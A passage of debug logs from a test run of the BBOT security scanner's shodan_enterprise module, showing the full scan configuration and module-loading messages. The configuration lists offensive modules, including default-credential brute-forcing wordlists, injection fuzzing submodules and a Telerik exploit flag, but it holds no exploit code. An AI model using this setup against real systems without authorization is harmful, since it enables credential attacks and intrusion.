'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_slcbmhl9bw'}, 'started_at': '2026-02-27T21:31:27.598455', 'status': 'RUNNING'} +2026-02-27 21:31:28,396 [CRITICAL] bbot test_module_shodan_enterprise.py:25 set() +2026-02-27 21:31:28,397 [CRITICAL] bbot test_module_shodan_enterprise.py:27 SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:31:28,398 [CRITICAL] bbot test_module_shodan_enterprise.py:21 IP_ADDRESS +2026-02-27 21:31:28,399 [CRITICAL] bbot test_module_shodan_enterprise.py:23 1.2.3.4 +2026-02-27 21:31:28,399 [CRITICAL] bbot test_module_shodan_enterprise.py:25 {'ipv4', 'target', 'in-scope'} +2026-02-27 21:31:28,400 [CRITICAL] bbot test_module_shodan_enterprise.py:27 SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:31:28,402 [CRITICAL] bbot test_module_shodan_enterprise.py:21 SCAN +2026-02-27 21:31:28,402 [CRITICAL] bbot test_module_shodan_enterprise.py:23 {'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_enterprise_test_slcbmhl9bw', 'target': {'seeds': ['1.2.3.4'], 'whitelist': ['1.2.3.4/32'], 'blacklist': [], 'strict_scope': False, 'hash': '87f0150c3e9449d043e2a8fddb8735cd115a9ebd', 'seed_hash': '09c35807ba47a82592ef88e5d6304ea699b8cbe2', 'whitelist_hash': '0f33b011938e6d3a37d684a39bb81b783e4a06c6', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '21e2b6c9a319c3a3040171b34ac91ce866c47eb9'}, 'preset': {'description': 'testshodan_enterprise_test_slcbmhl9bw', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'asn': {}, 'affiliates': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_slcbmhl9bw'}, 'started_at': '2026-02-27T21:31:27.598455', 'finished_at': '2026-02-27T21:31:28.219866', 'duration_seconds': 0.621411, 'duration': '0 seconds', 'status': 'FINISHED'} +2026-02-27 21:31:28,407 [CRITICAL] bbot test_module_shodan_enterprise.py:25 set() +2026-02-27 21:31:28,407 [CRITICAL] bbot test_module_shodan_enterprise.py:27 SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:31:28,409 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 21:31:28,410 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 21:38:37,382 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 21:38:37,395 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 21:38:37,396 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 21:38:37,397 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 21:38:37,398 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 21:38:37,399 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 21:38:37,400 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 21:38:37,401 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 21:38:37,403 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 21:38:37,403 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 21:38:37,405 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 21:38:37,406 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 21:38:37,407 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 21:38:37,449 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 21:38:37,458 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 21:38:37,460 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 21:38:37,461 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 21:38:37,462 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 21:38:37,464 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 21:38:37,466 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 21:38:37,479 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 21:38:37,482 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 21:38:37,483 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 21:38:37,485 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 21:38:37,486 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 21:38:37,487 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 21:38:37,489 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 21:38:37,490 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 21:38:37,491 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 21:38:37,493 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 21:38:37,494 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 21:38:37,495 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 21:38:37,496 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 21:38:37,497 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 21:38:37,498 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 21:38:37,500 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 21:38:37,501 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 21:38:37,502 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 21:38:37,503 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 21:38:37,504 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 21:38:37,505 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 21:38:37,506 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 21:38:37,507 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 21:38:37,508 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 21:38:37,514 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 21:38:37,516 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 21:38:37,517 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 21:38:37,518 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 21:38:37,520 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 21:38:37,521 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 21:38:37,522 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 21:38:37,523 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 21:38:37,524 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 21:38:37,525 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 21:38:37,526 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 21:38:37,527 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 21:38:37,528 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 21:38:37,529 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 21:38:37,530 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 21:38:37,531 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 21:38:37,532 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 21:38:37,533 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 21:38:37,534 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 21:38:37,535 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 21:38:37,537 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 21:38:37,537 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 21:38:37,539 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 21:38:37,540 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 21:38:37,541 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 21:38:37,541 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 21:38:37,549 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 21:38:37,551 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 21:38:37,552 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 21:38:37,553 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 21:38:37,555 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 21:38:37,556 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 21:38:37,557 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 21:38:37,558 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 21:38:37,559 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 21:38:37,559 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 21:38:37,561 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 21:38:37,562 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 21:38:37,563 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 21:38:37,565 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 21:38:37,566 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 21:38:37,567 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 21:38:37,569 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 21:38:37,569 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 21:38:37,570 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 21:38:37,571 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 21:38:37,572 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 21:38:37,573 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 21:38:37,574 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 21:38:37,574 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 21:38:37,576 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 21:38:37,576 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 21:38:37,577 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 21:38:37,579 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 21:38:37,580 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 21:38:37,582 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 21:38:37,583 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 21:38:37,584 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 21:38:37,585 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 21:38:37,586 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 21:38:37,587 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 21:38:37,588 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 21:38:37,588 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 21:38:37,589 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 21:38:37,590 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 21:38:37,591 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 21:38:37,592 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 21:38:37,593 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 21:38:37,594 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 21:38:37,595 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 21:38:37,595 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 21:38:37,596 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 21:38:37,598 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 21:38:37,599 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 21:38:37,600 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 21:38:37,601 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 21:38:37,602 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 21:38:37,603 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 21:38:37,604 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 21:38:37,605 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 21:38:37,606 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 21:38:37,607 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 21:38:37,608 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 21:38:37,609 [DEBUG] bbot.module_loader 